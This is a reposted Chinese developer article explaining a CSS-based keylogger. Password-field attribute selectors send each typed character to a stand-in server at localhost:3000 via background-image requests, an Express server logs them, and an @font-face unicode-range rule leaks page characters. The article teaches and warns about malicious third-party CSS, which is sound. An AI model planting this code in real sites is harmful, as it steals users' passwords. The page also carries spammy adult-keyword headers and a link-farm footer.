国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 開發 > CSS > 正文

CSS 記錄用戶密碼的方法

2024-07-11 08:59:05
字體:
來源:轉載
供稿:網友

簡單的CSS代碼,甚至不符合圖靈完備的語言,但是也能成為一些攻擊者的工具,下面簡單介紹一下如何使用CSS去記錄用戶的密碼。但是這些CSS腳本會出現在第三方CSS庫中,所以使用第三方CSS庫也需要謹慎,確保代碼安全。直接上代碼解析:

input[type="password"][value$="0"] {     background-image: url("http://localhost:3000/0"); }input[type="password"][value$="1"] {     background-image: url("http://localhost:3000/1"); }input[type="password"][value$="2"] {     background-image: url("http://localhost:3000/2"); }

以上是部分代碼,我們來解析一下CSS代碼

input[type="password"]是css選擇器,作用是選擇密碼輸入框, [value$="0"]表示匹配輸入的值是以0結尾的。所以:

input[type="password"][value$="0"] {     background-image: url("http://localhost:3000/0"); }

上面代碼的意思就是如果你在密碼框中輸入0,就去請求http://localhost:3000/0接口,但是瀏覽器默認情況下是不會將用戶輸入的值存儲在value屬性中,但是有的框架會同步這些值,例如React。

所以只要使用了如下圖的腳本就能去存儲用戶的輸入數據信息。

我們再來看一下服務器端的代碼:

const express = require("express");const app = express();app.get("/:key", (req, res) => {   process.stdout.write(req.params.key);   return res.sendStatus(400);});app.listen(3000, () => console.log("啟動,監聽3000端口"));

使用express創建服務器,監聽3000端口,只要請求http://localhost:3000/:key,就能輸出key的值,就能在服務器上記錄輸入的值。所以只要在每輸入一個值都匹配,然后通過 background-image 去請求一個已經準備好的接口,就能記錄用戶的輸入。類似的方法記錄用戶的內容的CSS代碼@font-face {  

   font-family: blah;     src: url('http://localhost:3000/a') format('woff');     unicode-range: U+85;}html {     font-family: blah, sans-serif;}

你使用的的css的簡單的字體庫,只要你的頁面中包含a,就會去請求http://localhost:3000/a,這樣就能知道你的頁面中包含有a字符。

以上就是本文的全部內容,希望對大家的學習有所幫助,也希望大家多多支持武林網。

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 白河县| 罗山县| 远安县| 东乌珠穆沁旗| 芜湖县| 桐城市| 仙游县| 城固县| 淮安市| 通许县| 灵川县| 青海省| 琼中| 商洛市| 峨眉山市| 曲靖市| 湖州市| 西青区| 武宣县| 孟连| 封丘县| 怀仁县| 高要市| 安西县| 左权县| 洛南县| 大城县| 克什克腾旗| 融水| 黔江区| 南江县| 永德县| 榆树市| 霍城县| 宜宾市| 泗洪县| 十堰市| 云南省| 湟源县| 武胜县| 梅河口市|